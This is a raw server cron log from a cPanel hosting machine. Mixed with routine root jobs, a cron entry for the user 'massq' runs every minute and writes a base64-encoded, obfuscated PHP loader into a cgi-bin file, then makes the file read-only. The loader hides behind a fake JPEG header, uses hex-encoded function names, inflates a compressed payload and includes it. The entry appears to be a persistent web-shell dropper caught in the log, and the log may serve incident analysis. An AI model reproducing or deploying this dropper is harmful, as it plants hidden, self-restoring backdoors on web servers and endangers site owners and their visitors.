Sep  2 19:55:01 server CROND[22657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:55:01 server CROND[22655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:55:01 server CROND[22652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:56:01 server CROND[23655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:56:01 server CROND[23656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:56:01 server CROND[23657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:57:01 server CROND[24135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:57:01 server CROND[24137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:57:01 server CROND[24136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:57:01 server CROND[24138]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:58:01 server CROND[24507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:58:01 server CROND[24509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:58:01 server CROND[24508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:59:01 server CROND[24871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:59:01 server CROND[24872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:59:01 server CROND[24873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:00:01 server CROND[25274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:00:01 server CROND[25276]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 20:00:01 server CROND[25277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:00:01 server CROND[25279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:00:01 server CROND[25282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:00:01 server CROND[25281]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:00:01 server CROND[25284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:00:01 server CROND[25286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:00:01 server CROND[25283]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 20:00:01 server CROND[25280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:01:01 server CROND[26155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:01:01 server CROND[26156]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 20:01:01 server CROND[26157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:01:01 server CROND[26158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:01:01 server run-parts(/etc/cron.hourly)[26156]: starting 0anacron
Sep  2 20:01:01 server run-parts(/etc/cron.hourly)[26178]: finished 0anacron
Sep  2 20:02:01 server CROND[26634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:02:01 server CROND[26635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:02:01 server CROND[26636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:03:01 server CROND[27002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:03:01 server CROND[27003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:03:01 server CROND[27004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:04:01 server CROND[27383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:04:01 server CROND[27385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:04:01 server CROND[27386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:05:01 server CROND[27768]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 20:05:01 server CROND[27769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:05:01 server CROND[27771]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:05:01 server CROND[27776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:05:01 server CROND[27777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:05:01 server CROND[27775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:05:01 server CROND[27772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:05:01 server CROND[27778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:05:01 server CROND[27773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 20:06:01 server CROND[28619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:06:01 server CROND[28620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
